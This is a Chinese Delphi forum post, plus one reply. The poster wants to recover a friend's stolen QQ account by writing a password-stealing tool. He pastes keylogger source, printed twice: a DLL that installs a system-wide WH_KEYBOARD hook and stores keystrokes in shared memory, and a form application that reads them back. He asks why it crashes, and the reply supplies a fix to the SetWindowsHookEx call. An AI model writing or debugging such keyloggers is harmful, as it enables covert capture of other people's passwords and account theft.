朋友的QQ今天被盗了,和腾讯联系,客服说要填写一些东西,而朋友的QQ是4年前申请的,当时填写的资料全忘记了,连邮箱都不记得,客服说没办法。于是想到在网上下一个QQ盗密码的软件,但是好象都不行,于是想做个这个东西要回来QQ,我在网络上找了键盘钩子的程序,如下:我是先创建DLL,把library dllproc,Dllunit放在一个Dllproc工程里,然后按CTRL+f9,编译出一个Dllproc.Dll文件,然后在开一个工程,创建 Unit1,生成EXE文件,用这个EXE文件调用DLL,现在我一运行EXE文件就出错。大家给看看代码,出问题的地方在哪里?Dll单元
unit Dllunit;interface
uses windows;Const
Buffer_Size = 16*1024;
Hook_Mem_FileName = 'Mem_File';
Hook_Mutex_Name = 'Mutex_Name';Type
PShared = ^TShared;
TShared = Record
Keys:Array[0..Buffer_Size] of char;
KeyCount:integer;
end;var
MemFIle,HookMutex:THandle;
holdkeyhook :Hhook;
Shared :PShared;
implementation{键盘钩子函数}
Function KeyHookProc(ICode:integer;WParam:WParam;LParam:LParam):Lresult;stdcall;export;
const
KeyPressMask = $80000000;
begin
if icode<0 then
Result := CallNextHookEx(HoldKeyHook,ICode,WParam,LParam)
else
begin
if ((Lparam and KeyPressMask) = 0) then
{键按下}
begin
Shared^.Keys[Shared^.KeyCount] := Char(WParam and $00FF); //保存按键
Inc(shared^.KeyCount); //缓冲区指针
end;
Result := 0;
end;
end;{设置钩子}
function EnableKeyHook:Bool;Export;
begin
Shared^.KeyCount := 0 ;//初始化键盘指针
if holdkeyhook = 0 then
begin
holdkeyhook := SetWindowsHookex(WH_KEYBOARD,KeyHookProc,Hinstance,0); end;
Result := (holdkeyhook<>0);
end;{卸载钩子}
function DisableKeyHook:bool;export;
begin
if holdkeyhook <> 0 then
begin
UnhookWindowsHookEx(holdkeyhook);//解除keyboard hook
holdkeyhook := 0;
Shared^.KeyCount := 0;
end;
end;{取得键盘缓冲区中击键的个数}
function GetKeyCount :integer;Export;
begin
Result := Shared^.KeyCount;
end;{取得键盘缓冲区中指定的键值}
function GetKey(index:integer):char;export;
begin
result := Shared^.Keys[Index];
end;{清除键盘缓冲区}
procedure ClearKeyString;export;
begin
Shared^.KeyCount := 0;
end;initialization
{Dll初始化部分}
HookMutex := CreateMutex(nil,true,hook_mutex_name);
{建立内存映射文件以共享内存}
MemFIle := OPenFIleMapping(FILE_MAP_WRITE,false,Hook_Mem_FileName);
if MemFIle = 0 then
MemFIle := CreateFileMapping($FFFFFFFF,nil,Page_ReadWrite,0,SizeOf(TSHared),Hook_Mem_FileName); Shared := MapviewOfFile(MEmFIle,File_Map_Write,0,0,0);
ReleaseMutex(HookMutex);
CloseHandle(HookMutex);finalization
if HoldKeyHook <> 0 then
DisableKeyHook; unmapviewoffile(Shared);//释放内存映射文件
CloseHandle(Memfile);//关闭映射文件end.unit Unit1;interfaceuses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;
type TForm1 = class(TForm)
Memo1: TMemo;
Button1: TButton;
Button2: TButton;
Button3: TButton;
Button4: TButton;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
procedure Button4Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;var
Form1: TForm1;
implementation{$R *.dfm}
//procedure inidll;external 'dllproc.dll';
function EnableKeyHook:bool;external 'dllproc.dll';
function DisableKeyHook:bool;external 'dllproc.dll';
function GetKeyCount:integer;external 'dllproc.dll';
function GetKey(idx:integer):char;external 'dllproc.dll';
procedure ClearKeyString;external 'dllproc.dll';{设置钩子}
procedure TForm1.Button1Click(Sender: TObject);
begin
EnableKeyHook;//设置钩子
Button1.Enabled := false;
Button2.Enabled := True;
Button2.Enabled := True;
Button2.Enabled := True;
end;{取消钩子}
procedure TForm1.Button2Click(Sender: TObject);
begin
DisableKeyHook;//设置钩子
Button1.Enabled := True;
Button2.Enabled := false;
Button2.Enabled := false;
Button2.Enabled := false;
end;{读取键盘记录}
procedure TForm1.Button3Click(Sender: TObject);
var
i:integer;
begin
Memo1.Lines.Clear;
for i:=0 to GetKeyCount-1 do
Memo1.Text := Memo1.Text+GetKey(i);
end;{清除记录}
procedure TForm1.Button4Click(Sender: TObject);
begin
memo1.Clear;
ClearKeyString;
end;procedure TForm1.FormCreate(Sender: TObject);
begin
// inidll;
end;end.Dll文件library dllproc;uses
Dllunit in 'Dllunit.pas';{*R.res}
begin
end.unit DllUnit;interfaceuses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls,
StdCtrls;const WM_DATA = WM_USER+ 1024; //自定义消息
const BUFFER_SIZE = 16 * 1024;
const HOOK_MEM_FILENAME = 'MEM_FILE';
const HOOK_MUTEX_NAME = 'MUTEX_NAME';
type
TShared = record
Keys: array[0..BUFFER_SIZE] of Char;
KeyCount: Integer;
end;
PShared = ^TShared; PShareMem = ^TShareMem;
TShareMem = Record
Data : Array[0..255] of char;
end;
var
MemFile, HookMutex: THandle;
hOldKeyHook: HHook;
Shared: PShared;
Pshare:PShareMem;
implementationfunction KeyHookProc(iCode: Integer; wParam: WPARAM;
lParam: LPARAM): LRESULT; stdcall; export;
const
KeyPressMask = $80000000;
begin
if iCode < 0 then
Result := CallNextHookEx(hOldKeyHook,
iCode,
wParam,
lParam)
else begin
if ((lParam and KeyPressMask) = 0) then
begin
Shared^.Keys[Shared^.KeyCount] := Char(wParam and $00ff);
Inc(Shared^.KeyCount);
if Shared^.KeyCount >= BUFFER_SIZE - 1 then Shared^.KeyCount := 0;
end;
result:=0;
end;
end;
function EnableKeyHook: BOOL; export;begin
Shared^.KeyCount := 0;
if hOldKeyHook = 0 then
begin
hOldKeyHook := SetWindowsHookEx(WH_KEYBOARD,
KeyHookProc,
HInstance,
0);
end;
Result := (hOldKeyHook <> 0);
end;{撤消钩子过滤函数}
function DisableKeyHook: BOOL; export;
begin
if hOldKeyHook <> 0 then
begin
UnHookWindowsHookEx(hOldKeyHook);
hOldKeyHook := 0;
Shared^.KeyCount := 0;
end;
Result := (hOldKeyHook = 0);
end;function GetKeyCount: Integer; export;
begin
Result := Shared^.KeyCount;
end;
function GetKey(index: Integer): Char; export;
begin
Result := Shared^.Keys[index];
end;procedure ClearKeyString; export;
begin
Shared^.KeyCount := 0;
end;exports
EnableKeyHook,
DisableKeyHook,
GetKeyCount,
ClearKeyString,
GetKey;initialization
HookMutex := CreateMutex(nil,
True,
HOOK_MUTEX_NAME);
MemFile := OpenFileMapping(FILE_MAP_WRITE,
False,
HOOK_MEM_FILENAME);
if MemFile = 0 then
MemFile := CreateFileMapping($FFFFFFFF,
nil,
PAGE_READWRITE,
0,
SizeOf(TShared),
HOOK_MEM_FILENAME);
Shared := MapViewOfFile(MemFile,
File_MAP_WRITE,
0,
0,
0);
ReleaseMutex(HookMutex);
CloseHandle(HookMutex);
finalization
if hOldKeyHook <> 0 then DisableKeyHook;
UnMapViewOfFile(Shared);
CloseHandle(MemFile);
end.如果有别的办法能要回来,不做这个也可以,比较急,有愿意帮忙的朋友发消息给俺
unit Dllunit;interface
uses windows;Const
Buffer_Size = 16*1024;
Hook_Mem_FileName = 'Mem_File';
Hook_Mutex_Name = 'Mutex_Name';Type
PShared = ^TShared;
TShared = Record
Keys:Array[0..Buffer_Size] of char;
KeyCount:integer;
end;var
MemFIle,HookMutex:THandle;
holdkeyhook :Hhook;
Shared :PShared;
implementation{键盘钩子函数}
Function KeyHookProc(ICode:integer;WParam:WParam;LParam:LParam):Lresult;stdcall;export;
const
KeyPressMask = $80000000;
begin
if icode<0 then
Result := CallNextHookEx(HoldKeyHook,ICode,WParam,LParam)
else
begin
if ((Lparam and KeyPressMask) = 0) then
{键按下}
begin
Shared^.Keys[Shared^.KeyCount] := Char(WParam and $00FF); //保存按键
Inc(shared^.KeyCount); //缓冲区指针
end;
Result := 0;
end;
end;{设置钩子}
function EnableKeyHook:Bool;Export;
begin
Shared^.KeyCount := 0 ;//初始化键盘指针
if holdkeyhook = 0 then
begin
holdkeyhook := SetWindowsHookex(WH_KEYBOARD,KeyHookProc,Hinstance,0); end;
Result := (holdkeyhook<>0);
end;{卸载钩子}
function DisableKeyHook:bool;export;
begin
if holdkeyhook <> 0 then
begin
UnhookWindowsHookEx(holdkeyhook);//解除keyboard hook
holdkeyhook := 0;
Shared^.KeyCount := 0;
end;
end;{取得键盘缓冲区中击键的个数}
function GetKeyCount :integer;Export;
begin
Result := Shared^.KeyCount;
end;{取得键盘缓冲区中指定的键值}
function GetKey(index:integer):char;export;
begin
result := Shared^.Keys[Index];
end;{清除键盘缓冲区}
procedure ClearKeyString;export;
begin
Shared^.KeyCount := 0;
end;initialization
{Dll初始化部分}
HookMutex := CreateMutex(nil,true,hook_mutex_name);
{建立内存映射文件以共享内存}
MemFIle := OPenFIleMapping(FILE_MAP_WRITE,false,Hook_Mem_FileName);
if MemFIle = 0 then
MemFIle := CreateFileMapping($FFFFFFFF,nil,Page_ReadWrite,0,SizeOf(TSHared),Hook_Mem_FileName); Shared := MapviewOfFile(MEmFIle,File_Map_Write,0,0,0);
ReleaseMutex(HookMutex);
CloseHandle(HookMutex);finalization
if HoldKeyHook <> 0 then
DisableKeyHook; unmapviewoffile(Shared);//释放内存映射文件
CloseHandle(Memfile);//关闭映射文件end.unit Unit1;interfaceuses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;
type TForm1 = class(TForm)
Memo1: TMemo;
Button1: TButton;
Button2: TButton;
Button3: TButton;
Button4: TButton;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
procedure Button4Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;var
Form1: TForm1;
implementation{$R *.dfm}
//procedure inidll;external 'dllproc.dll';
function EnableKeyHook:bool;external 'dllproc.dll';
function DisableKeyHook:bool;external 'dllproc.dll';
function GetKeyCount:integer;external 'dllproc.dll';
function GetKey(idx:integer):char;external 'dllproc.dll';
procedure ClearKeyString;external 'dllproc.dll';{设置钩子}
procedure TForm1.Button1Click(Sender: TObject);
begin
EnableKeyHook;//设置钩子
Button1.Enabled := false;
Button2.Enabled := True;
Button2.Enabled := True;
Button2.Enabled := True;
end;{取消钩子}
procedure TForm1.Button2Click(Sender: TObject);
begin
DisableKeyHook;//设置钩子
Button1.Enabled := True;
Button2.Enabled := false;
Button2.Enabled := false;
Button2.Enabled := false;
end;{读取键盘记录}
procedure TForm1.Button3Click(Sender: TObject);
var
i:integer;
begin
Memo1.Lines.Clear;
for i:=0 to GetKeyCount-1 do
Memo1.Text := Memo1.Text+GetKey(i);
end;{清除记录}
procedure TForm1.Button4Click(Sender: TObject);
begin
memo1.Clear;
ClearKeyString;
end;procedure TForm1.FormCreate(Sender: TObject);
begin
// inidll;
end;end.Dll文件library dllproc;uses
Dllunit in 'Dllunit.pas';{*R.res}
begin
end.unit DllUnit;interfaceuses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls,
StdCtrls;const WM_DATA = WM_USER+ 1024; //自定义消息
const BUFFER_SIZE = 16 * 1024;
const HOOK_MEM_FILENAME = 'MEM_FILE';
const HOOK_MUTEX_NAME = 'MUTEX_NAME';
type
TShared = record
Keys: array[0..BUFFER_SIZE] of Char;
KeyCount: Integer;
end;
PShared = ^TShared; PShareMem = ^TShareMem;
TShareMem = Record
Data : Array[0..255] of char;
end;
var
MemFile, HookMutex: THandle;
hOldKeyHook: HHook;
Shared: PShared;
Pshare:PShareMem;
implementationfunction KeyHookProc(iCode: Integer; wParam: WPARAM;
lParam: LPARAM): LRESULT; stdcall; export;
const
KeyPressMask = $80000000;
begin
if iCode < 0 then
Result := CallNextHookEx(hOldKeyHook,
iCode,
wParam,
lParam)
else begin
if ((lParam and KeyPressMask) = 0) then
begin
Shared^.Keys[Shared^.KeyCount] := Char(wParam and $00ff);
Inc(Shared^.KeyCount);
if Shared^.KeyCount >= BUFFER_SIZE - 1 then Shared^.KeyCount := 0;
end;
result:=0;
end;
end;
function EnableKeyHook: BOOL; export;begin
Shared^.KeyCount := 0;
if hOldKeyHook = 0 then
begin
hOldKeyHook := SetWindowsHookEx(WH_KEYBOARD,
KeyHookProc,
HInstance,
0);
end;
Result := (hOldKeyHook <> 0);
end;{撤消钩子过滤函数}
function DisableKeyHook: BOOL; export;
begin
if hOldKeyHook <> 0 then
begin
UnHookWindowsHookEx(hOldKeyHook);
hOldKeyHook := 0;
Shared^.KeyCount := 0;
end;
Result := (hOldKeyHook = 0);
end;function GetKeyCount: Integer; export;
begin
Result := Shared^.KeyCount;
end;
function GetKey(index: Integer): Char; export;
begin
Result := Shared^.Keys[index];
end;procedure ClearKeyString; export;
begin
Shared^.KeyCount := 0;
end;exports
EnableKeyHook,
DisableKeyHook,
GetKeyCount,
ClearKeyString,
GetKey;initialization
HookMutex := CreateMutex(nil,
True,
HOOK_MUTEX_NAME);
MemFile := OpenFileMapping(FILE_MAP_WRITE,
False,
HOOK_MEM_FILENAME);
if MemFile = 0 then
MemFile := CreateFileMapping($FFFFFFFF,
nil,
PAGE_READWRITE,
0,
SizeOf(TShared),
HOOK_MEM_FILENAME);
Shared := MapViewOfFile(MemFile,
File_MAP_WRITE,
0,
0,
0);
ReleaseMutex(HookMutex);
CloseHandle(HookMutex);
finalization
if hOldKeyHook <> 0 then DisableKeyHook;
UnMapViewOfFile(Shared);
CloseHandle(MemFile);
end.如果有别的办法能要回来,不做这个也可以,比较急,有愿意帮忙的朋友发消息给俺
解决方案 »
- 为什么我在delphi2006里面安装的DLL组件,面板上没有显示
- 下载频道 真是慢
- Borland Socket Server 能监听2个网卡的某一个端口吗 ???
- 大虾请教:在MS SQL 的字段为SMALLDATETIME,在D7 中,做了一个查询,详情如下:
- 数据类型能不能这样在转换?
- 菜鸟问一个问题。
- 我想用光标VK_UP实现光标向上一个控件移动,怎么做?就好象TAB按钮使光标移向下一个控件一样?
- 我这种情况怎么使用SyGate做代理?
- 十分紧急!!关于dcu文件生成的菜鸟级问题!!!
- 在Delphi中用ADO连接SQL Server 的一个问题,请各位专家帮忙,先谢了
- 监视文件的操作,高分求助
- 终止过程的问题
————》
holdkeyhook := SetWindowsHookex(WH_KEYBOARD,@KeyHookProc,Hinstance,0);